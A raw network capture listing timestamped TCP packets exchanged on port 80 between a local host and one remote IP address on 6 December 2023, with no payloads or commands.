Dec 6, 2023 14:50:51.229974985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.230031967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.230268002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.230354071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.230386972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.230552912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.230860949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.230895042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.230904102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.230974913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231009007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.231033087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231076002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231108904 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.231142044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231210947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231245995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.231499910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231827021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.231859922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.231890917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232022047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232049942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232054949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.232151031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232184887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.232232094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232323885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232359886 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.232362032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232556105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232597113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.232857943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232897043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.232929945 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.232960939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233040094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233072996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.233103037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233145952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233181000 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.233205080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233247042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233279943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.233361959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233736038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233776093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.233825922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233907938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.233947992 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.233994961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234097958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234136105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.234184027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234281063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234319925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.234350920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234781027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234822035 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.234838963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234880924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234914064 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.234942913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.234985113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235019922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.235066891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235157013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235193968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235199928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.235299110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235340118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.235368967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235685110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235724926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.235761881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235867977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235912085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.235930920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.235985041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236020088 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.236038923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236093044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236126900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.236144066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236208916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236244917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.236568928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236640930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236685038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.236730099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236829996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236872911 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.236908913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.236998081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237039089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.237075090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237165928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237207890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.237266064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237607956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237649918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.237653971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237756968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237797976 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.237834930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237888098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.237929106 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.237946987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238043070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238082886 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.238120079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238194942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238236904 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.238272905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238643885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238682985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238683939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.238738060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238774061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.238801003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238853931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.238889933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.238997936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239125967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239166021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.239175081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239265919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239308119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.239334106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239466906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239506960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.239820004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239862919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239903927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.239940882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.239995003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240063906 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.240072012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240127087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240163088 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.240219116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240582943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240626097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.240663052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240750074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240793943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.240832090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240914106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.240956068 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.240992069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241048098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241087914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.241127014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241280079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241321087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.241617918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241669893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241712093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.241815090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241899014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.241939068 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.241974115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.242084026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.242125034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.242161989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.242266893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.242306948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.242342949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.242428064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.242470980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.242495060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243088007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243132114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243132114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243280888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243314981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243321896 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243347883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243379116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243387938 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243412971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243444920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243453979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243478060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243510008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243510962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243542910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243575096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243576050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243607044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243638992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243643999 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243670940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243702888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243705034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243733883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243765116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243768930 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243797064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243828058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243839979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243860006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243891954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243904114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243923903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243953943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.243957996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.243985891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244018078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244024038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244049072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244081020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244086027 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244112968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244143963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244148970 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244177103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244208097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244211912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244240999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244272947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244280100 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244304895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244337082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244339943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244368076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244399071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244404078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244431019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244462967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244467020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244493961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244524956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244527102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244555950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244585991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244589090 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244617939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244648933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244652987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244679928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244716883 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244746923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244801998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244832993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244837046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244867086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244899035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244904995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244930029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244961977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.244970083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.244993925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245026112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245032072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245057106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245088100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245091915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245119095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245148897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245152950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245182991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245219946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245235920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245266914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245304108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245320082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245352030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245383024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245404005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245436907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245469093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245472908 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245500088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245532036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245534897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245563030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245599985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245675087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245708942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245740891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245744944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245763063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245784044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245820045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245846033 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245858908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245874882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245894909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245917082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245938063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245943069 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.245959997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245981932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.245985031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246006012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246025085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246027946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246049881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246067047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246071100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246110916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246133089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246206045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246241093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246247053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246277094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246313095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246315002 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246335030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246356964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246368885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246403933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246424913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246438980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246460915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246484041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246496916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246654034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246696949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246701956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246725082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246759892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246762037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246783018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246803999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246823072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246839046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246860981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246879101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246895075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246917009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246929884 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.246953964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.246989012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247056007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247077942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247100115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.247109890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.247122049 CET	80	49705	172.67.165.204	192.168.2.5
